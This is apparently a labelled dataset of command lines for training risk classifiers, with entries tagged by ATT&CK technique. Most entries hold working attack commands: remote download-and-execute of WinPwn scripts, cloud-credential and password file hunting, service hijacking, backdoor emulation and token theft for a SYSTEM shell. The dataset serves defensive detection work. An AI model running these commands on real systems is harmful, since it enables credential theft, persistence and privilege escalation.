cowWhySo/permission-command-corpus huggingface dataset:
Command: Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Stop-VMHostService -Confirm:$false
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.004
Platform: windows
ATT&CK tags: T1021.004
Source rule: ESXi - Enable SSH via PowerCLI
Notes: An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command: echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.004
Platform: windows
ATT&CK tags: T1021.004
Source rule: ESXi - Enable SSH via VIM-CMD
Notes: An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command: echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/disable_ssh"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.004
Platform: windows
ATT&CK tags: T1021.004
Source rule: ESXi - Enable SSH via VIM-CMD
Notes: An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command: find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: macos,linux
ATT&CK tags: T1552.001
Source rule: Find AWS credentials
Notes: Find local AWS credentials from file, defaults to using / as the look path.
Command: python2 laZagne.py all
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: macos
ATT&CK tags: T1552.001
Source rule: Extract Browser and System credentials with LaZagne
Notes: [LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command: grep -ri password #{file_path} exit 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: linux,macos
ATT&CK tags: T1552.001
Source rule: Extract passwords with grep
Notes: Extracting credentials from files
Command: findstr /si pass *.xml *.doc *.txt *.xls ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: Extracting passwords with findstr
Notes: Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command: type C:\Windows\Panther\unattend.xml type C:\Windows\Panther\Unattend\unattend.xml
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: Access unattend.xml
Notes: Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command: for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: linux,macos
ATT&CK tags: T1552.001
Source rule: Find and Access Github Credentials
Notes: This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') sensitivefiles -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: WinPwn - sensitivefiles
Notes: Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Snaffler -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: WinPwn - Snaffler
Notes: Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') powershellsensitive -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: WinPwn - powershellsensitive
Notes: Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') passhunt -local $true -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: WinPwn - passhunt
Notes: Search for Passwords on this system using passhunt via WinPwn
Command: rm -force .\passhunt.exe -ErrorAction Ignore rm -force .\phunter* -ErrorAction Ignore rm -force -recurse .\DomainRecon -ErrorAction Ignore rm -force -recurse .\Exploitation -ErrorAction Ignore rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore rm -force -recurse .\LocalRecon -ErrorAction Ignore rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: WinPwn - passhunt
Notes: Search for Passwords on this system using passhunt via WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') sessionGopher -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: WinPwn - SessionGopher
Notes: Launches SessionGopher on this system via WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') SharpCloud -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Notes: Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command: $usernameinfo = (Get-ChildItem Env:USERNAME).Value Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: List Credential Files via PowerShell
Notes: Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command: dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\ dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: windows
ATT&CK tags: T1552.001
Source rule: List Credential Files via Command Prompt
Notes: Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command: find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: macos,linux
ATT&CK tags: T1552.001
Source rule: Find Azure credentials
Notes: Find local Azure credentials from file, defaults to using / as the look path.
Command: find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: macos,linux
ATT&CK tags: T1552.001
Source rule: Find GCP credentials
Notes: Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command: find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.001
Platform: macos,linux
ATT&CK tags: T1552.001
Source rule: Find OCI credentials
Notes: Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command: which_python=`which python || which python3` $which_python -c "import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1560.002
Platform: linux
ATT&CK tags: T1560.002
Source rule: Compressing data using GZip in Python (FreeBSD/Linux)
Notes: Uses GZip from Python to compress files
Command: rm #{path_to_output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1560.002
Platform: linux
ATT&CK tags: T1560.002
Source rule: Compressing data using GZip in Python (FreeBSD/Linux)
Notes: Uses GZip from Python to compress files
Command: which_python=`which python || which python3` $which_python -c "import bz2;input_file=open('#{path_to_input_file}','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('#{path_to_output_file}','w+');output_file.write(str(bz2content));output_file.close();"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1560.002
Platform: linux
ATT&CK tags: T1560.002
Source rule: Compressing data using bz2 in Python (FreeBSD/Linux)
Notes: Uses bz2 from Python to compress files
Command: which_python=`which python || which python3` $which_python -c "from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1560.002
Platform: linux
ATT&CK tags: T1560.002
Source rule: Compressing data using zipfile in Python (FreeBSD/Linux)
Notes: Uses zipfile from Python to compress files
Command: which_python=`which python || which python3` $which_python -c "import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1560.002
Platform: linux
ATT&CK tags: T1560.002
Source rule: Compressing data using tarfile in Python (FreeBSD/Linux)
Notes: Uses tarfile from Python to compress files
Command: sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\"" sc start #{service_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Modify Fax service to run PowerShell
Notes: This test will temporarily modify the service Fax by changing the binPath to PowerShell
and will then revert the binPath change, restoring Fax to its original state.
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
Command: sc config #{service_name} binPath= "#{service_binpath}" >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Modify Fax service to run PowerShell
Notes: This test will temporarily modify the service Fax by changing the binPath to PowerShell
and will then revert the binPath change, restoring Fax to its original state.
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
Command: sc.exe create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type} sc.exe start #{service_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Service Installation CMD
Notes: Download an executable from github and start it as a service.
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
Command: sc.exe stop #{service_name} >nul 2>&1 sc.exe delete #{service_name} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Service Installation CMD
Notes: Download an executable from github and start it as a service.
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
Command: New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}" Start-Service -Name "#{service_name}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Service Installation PowerShell
Notes: Installs A Local Service via PowerShell.
Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.
Command: Stop-Service -Name "#{service_name}" 2>&1 | Out-Null try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()} catch {}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Service Installation PowerShell
Notes: Installs A Local Service via PowerShell.
Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.
Command: copy "#{dllfilename}" %systemroot%\system32\ sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto sc config W64Time DisplayName= "Windows 64 Time" sc description W64Time "Maintain date and time synch on all clients and services in the network" reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f sc start W64Time
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: TinyTurla backdoor service w64time
Notes: It's running Dll as service to emulate the TinyTurla backdoor

[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
Command: sc stop W64Time sc.exe delete W64Time del %systemroot%\system32\w64time.dll reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: TinyTurla backdoor service w64time
Notes: It's running Dll as service to emulate the TinyTurla backdoor

[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
Command: sc.exe \\#{remote_host} create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type} sc.exe \\#{remote_host} start #{service_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Remote Service Installation CMD
Notes: Download an executable from github and start it as a service on a remote endpoint
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
Command: sc.exe \\#{remote_host} stop #{service_name} >nul 2>&1 sc.exe \\#{remote_host} delete #{service_name} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Remote Service Installation CMD
Notes: Download an executable from github and start it as a service on a remote endpoint
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
Command: Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name "#{service_name}" -path "#{new_bin_path}" start-service -Name "#{service_name}" -erroraction silentlycontinue | out-null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Modify Service to Run Arbitrary Binary (Powershell)
Notes: This test will use PowerShell to temporarily modify a service to run an arbitrary executable by changing its binary path and will then revert the binary path change, restoring the service to its original state.
This technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse function. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)
Command: Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name "#{service_name}" -path "#{original_bin_path}" -erroraction silentlycontinue | out-null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.003
Platform: windows
ATT&CK tags: T1543.003
Source rule: Modify Service to Run Arbitrary Binary (Powershell)
Notes: This test will use PowerShell to temporarily modify a service to run an arbitrary executable by changing its binary path and will then revert the binary path change, restoring the service to its original state.
This technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse function. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)
Command: powershell -c {get-eventlog 'Security' | where {$_.Message -like '*SYSTEM*'} | export-csv $env:temp\T1654_events.txt}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1654
Platform: windows
ATT&CK tags: T1654
Source rule: Get-EventLog To Enumerate Windows Security Log
Notes: Uses the built-in PowerShell commandlet Get-EventLog to search for 'SYSTEM' keyword and saves results to a text file.

This technique was observed in a [TheDFIRReport case](https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/) 
where the threat actor enumerated the Windows Security audit log to determine user accounts and associated IPv4 addresses.

Successful execution will save matching log events to the users temp folder.
Command: powershell -c "remove-item $env:temp\T1654_events.txt -ErrorAction Ignore"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1654
Platform: windows
ATT&CK tags: T1654
Source rule: Get-EventLog To Enumerate Windows Security Log
Notes: Uses the built-in PowerShell commandlet Get-EventLog to search for 'SYSTEM' keyword and saves results to a text file.

This technique was observed in a [TheDFIRReport case](https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/) 
where the threat actor enumerated the Windows Security audit log to determine user accounts and associated IPv4 addresses.

Successful execution will save matching log events to the users temp folder.
Command: wevtutil enum-logs
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1654
Platform: windows
ATT&CK tags: T1654
Source rule: Enumerate Windows Security Log via WevtUtil
Notes: WevtUtil is a command line tool that can be utilised by adversaries to gather intelligence on a targeted Windows system's logging infrastructure. 

By executing this command, malicious actors can enumerate all available event logs, including both default logs such as Application, Security, and System
as well as any custom logs created by administrators. 

This information provides valuable insight into the system's logging mechanisms, potentially allowing attackers to identify gaps or weaknesses
Command: & "PathToAtomicsFolder\T1027.006\bin\T1027_006_remote.html"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.006
Platform: windows
ATT&CK tags: T1027.006
Source rule: HTML Smuggling Remote Payload
Notes: The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without user interaction. 
The HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)
Command: $user = [System.Environment]::UserName; Remove-Item -Path C:\Users\$user\Downloads\FeelTheBurn.iso -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.006
Platform: windows
ATT&CK tags: T1027.006
Source rule: HTML Smuggling Remote Payload
Notes: The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without user interaction. 
The HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)
Command: cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1216.001
Platform: windows
ATT&CK tags: T1216.001
Source rule: PubPrn.vbs Signed Script Bypass
Notes: Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.
Command: Set-ExecutionPolicy -Scope Process Bypass -Force $owners = @{} gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}} & "$PathToAtomicsFolder\T1134.002\src\GetToken.ps1"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.002
Platform: windows
ATT&CK tags: T1134.002
Source rule: Access Token Manipulation
Notes: This Action demonstrates how an access token for a specific program can spawn another program under a different owner. 
Adversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. 
This Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.002
Platform: windows
ATT&CK tags: T1134.002
Source rule: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique
Notes: Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn
Command: "%PROGRAMFILES(x86)%/#{radmin_exe}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1072
Platform: windows
ATT&CK tags: T1072
Source rule: Radmin Viewer Utility
Notes: An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.